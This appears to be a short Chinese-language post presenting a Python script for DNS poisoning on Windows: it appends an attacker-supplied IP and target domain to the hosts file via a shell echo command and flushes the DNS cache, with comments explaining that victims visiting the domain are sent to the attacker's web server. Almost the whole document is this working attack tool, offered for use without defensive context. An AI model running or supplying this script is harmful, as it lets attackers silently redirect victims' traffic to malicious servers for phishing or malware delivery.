通过修改hosts文件实现DNS毒化的代码

　　本代码主要利用到subprocess模块，由于需要修改hosts文件，因此需要管理员权限执行该代码，否则执行失败。

import subprocess
import os
import optparse
import sys


class DNSPoisoner:
    def __init__(self) -> None:
        self.target = self.get_params()[0]     #攻击者的IP，运行有web服务，将受害者访问某网站时毒化访问攻击者的web服务
        self.domain = self.get_params()[1]     #要毒化的域名

    
    def get_params(self):
        parser = optparse.OptionParser("Usage: <Program> -t attacker's IP -d domain name")
        parser.add_option('-t', '--target', dest='target', type='string', help='Specify attacker IP address')
        parser.add_option('-d', '--domain', dest='domain', type='string', help='Specify domain name to attack')
        options, args = parser.parse_args()
        if options.target is None or options.domain is None:
            print(parser.usage)
            sys.exit(0)
        return options.target, options.domain
    

    def run(self):
        try:
            os.chdir('C:\Windows\System32\drivers\etc')     #需要首先切换到hosts所在目录
            command = 'echo %s %s >> hosts' % (self.target, self.domain)    #以追加方式，将攻击者的IP以及目标域名写入hosts文件，实现毒化的目的
            subprocess.call(command, shell=True)
            command = 'ipconfig /flushdns'                 #需要刷新一下DNS
            subprocess.call(command, shell=True)
        except Exception as e:
            print(e)
            sys.exit(0)



if __name__ == "__main__":
    dnspoisoner = DNSPoisoner()
    dnspoisoner.run()